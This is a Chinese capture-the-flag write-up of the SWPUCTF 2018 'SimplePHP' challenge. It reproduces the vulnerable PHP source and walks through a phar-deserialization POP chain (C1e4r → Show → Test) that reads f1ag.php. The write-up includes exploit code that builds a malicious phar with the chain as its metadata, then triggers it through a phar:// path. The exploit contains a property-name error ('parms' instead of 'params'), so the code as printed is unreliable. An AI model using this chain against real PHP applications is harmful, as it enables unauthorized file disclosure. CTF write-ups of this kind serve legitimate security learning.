[SWPUCTF 2018]SimplePHP
知识点
1.PHP反序列化入门之phar
2.反序列化魔术方法
__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数
题解
打开题目后，常规性试探一波，发现“查看文件”时，出现了?file=，应该是存在文件包含了
得到file.php、function.php、class.php、base.php源码
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
base.php
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
从以上源码中我们可以得到如下信息：
1.flag在f1ag.php中但是“f1ag”被过滤了
2.上传的文件类型采用白名单
3.所有源代码均没有出现unserialize()，所以不能采用常规反序列化。同时有注释出现了phar，且phar协议没被过滤，所以这题是PHP反序列化中的phar反序列化。
一步步解析
Show类
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
要触发__toString()我们需要当一个对象被当作一个字符串使用
同时
$content = $this->str['str']->source;
获得一个类的成员变量时调用get()
C1e4r类
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
在destruct()中存在echo能输出字符串来触发toString()
Test类
public function __get($key)
{
return $this->get($key);
}
利用__get()触发file_get()最终触发file_get_contents()
梳理清楚pop链，构造exp:
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$clear = new C1e4r();
$show = new Show();
$test = new Test();
$test->parms['source'] ="/var/www/html/f1ag.php";
$clear->str = $show; //利用$this->test = $this->str；echo $this->test；
$show->str['str'] = $test; //利用$this->str['str']->source;
$phar = new Phar("rabbit.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($clear); //触发的头是C1e4r类，所以传入C1e4r对象
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
?>
在本地环境中生成phar文件(自己电脑也不知道什么问题一直生成不了，用学长的电脑就行)
本题没有对upload目录做处理可以直接访问，获取上传的文件名
回到file.php页面
file.php/?file=phar://upload/xxxxxxxxxxxxxxxxxxx.jpg
得到base64加密内容
base64解密得到flag.